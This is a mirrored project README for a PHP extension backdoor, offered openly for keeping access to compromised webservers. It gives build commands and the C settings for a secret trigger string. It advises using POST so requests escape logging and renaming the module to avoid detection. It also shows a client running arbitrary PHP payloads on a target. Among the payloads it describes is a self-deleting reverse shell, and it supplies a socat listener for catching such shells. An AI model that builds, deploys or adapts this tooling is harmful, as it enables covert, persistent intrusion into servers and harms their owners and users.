Giter Site home page Giter Site logo

php-extension-backdoor's Introduction

Note: Unfinished pre-release.

PHP Backdoor Module

This is an example module for adding a backdoor to the PHP installation on a webserver by adding a PHP module. Very useful for mantaining access to a compromised host.

#Build Instructions

First off, you are going to want to edit the "magic string" (or rather, variable), and method. I have set them to POST, because GET variables get logged. You might want to edit some other things so it doesn't show up as "backdoor".

Linux

        char* method = "_POST"; // HTTP method used
        char* secret_string = "execute"; // magic string

Windows

        char* method = "_POST"; // HTTP method used
        char* secret_string = "secret_string"; // magic string

And next, we compile. For windows, I link to the articles (original in Russian, mine in English which is basically a translation I did).

##Windows: Original Russian Article

English 'translation'

##Linux: sudo apt-get install php5-dev
phpize && ./configure && make

Use Instructions

In client/ I provide an example Python client which allows executing any arbritary PHP payload on the webserver. I also provide some example payloads in client/payloads/ that you may find useful.

To use the client, you simply do the following.

root@unsanitized:~/dev/php-extension-backdoor/client# ./php_module_client.py http://192.168.1.7 secret_squirrels payloads/getuid.php
Starting execution...
uid: 33
Done!
root@unsanitized:~/dev/php-extension-backdoor/client#

Planned payloads include a variety of information gathering payloads, some reverse shells, and other useful utilities that I come up with. I will release those as they prove to be stable/useable soon.

Payloads

info.php

Prints UID, GID, and the uname -a of the server.

back_python.php

Self destructing python backconnect. Sends a PTY home, and deletes itself once done. Work in progress, gotta find a way to pass arguments to the modules.

I recommend using Socat to accept PTY shells like so:

$ socat -,echo=0,raw tcp4-listen:PORT

PTY Backconnect

Credits

Original Russian author, and akamajoris. All we did was some translation and writing payloads and client because we found them useful and interesting.

php-extension-backdoor's People

Contributors

akamajoris avatar

Watchers

James Cloos avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.